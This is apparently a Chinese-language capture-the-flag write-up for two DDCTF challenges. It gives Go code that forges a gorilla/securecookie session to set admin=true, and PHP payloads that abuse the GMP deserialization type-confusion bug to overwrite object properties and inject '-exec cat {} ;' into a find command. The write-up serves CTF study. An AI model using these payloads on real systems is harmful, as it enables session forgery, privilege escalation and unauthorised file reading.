卡片商店

DDCTF 卡片商店(整數溢出+go cookie基礎)

整數溢出

大概是2 ** 63 - 2

go cookie

沒學過,慢慢看,關鍵是怎么看出來是gin的,是因為cookie開頭是MTU嗎

package mainimport ("fmt""github.com/gorilla/securecookie")var (hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")init       = securecookie.New(hashKey, nil)cookie     = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj")func main() {var values map[interface{}]interface{}if err := init.Decode("session",cookie, &values); err == nil {fmt.Print(values)values["admin"] = truefmt.Print(init.Encode("session", values))}}

Overwrite Me

GMP--從反序列化到類型混淆漏洞

php >5.6 <5.6.11可以覆蓋任意已實例化的類的屬性
從反序列化到類型混淆漏洞——記一次 ecshop 實例利用
Sec Bug #70513GMP Deserialization Type Confusion Vulnerability

兩種利用方式,一種是利用有__wakeup的類,一種是利用DateInterval
以題目源碼為例簡化版的

<?phpclass MyClass{    var $kw0ng;    var $flag;    public function __wakeup()    {        $this->kw0ng = 2;    }    public function get_flag()    {        return system('find /HackersForever ' . escapeshellcmd($this->flag));    }}$show = new ShowOff();//第一個實例化的類$bullet = $_GET['bullet'];$obstacle = new stdClass;//第二個實例化的類$mc = new MyClass();//第三個實例化的類$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";@unserialize($bullet);echo $mc->get_flag();

MyClass.__wakeup()

$inner = 's:1:"1";a:3:{s:4:"flag";s:14:"-exec cat {} ;";s:2:"bb";s:2:"hi";i:0;O:7:"MyClass":1:{s:5:"kw0ng";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

$inner里面是要覆蓋的屬性,最后一個O類型里面是存在__wakeup且__wakeup的內容是給屬性賦值的類,關鍵是要覆蓋的類必須是指定順序實例化,比如這里,MyClass是第三個實例化,所以MyClass的__wakeup()必須是

public function __wakeup(){    $this->kw0ng = 3;}

DateInterval

$pos = "3";//第三個實例化$inj = "-exec cat {} ;";$inner = 's:1:"'.$pos.'";a:3:{s:4:"flag";s:'.strlen($inj).':"'.$inj.'";s:2:"hi";s:2:"aa";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';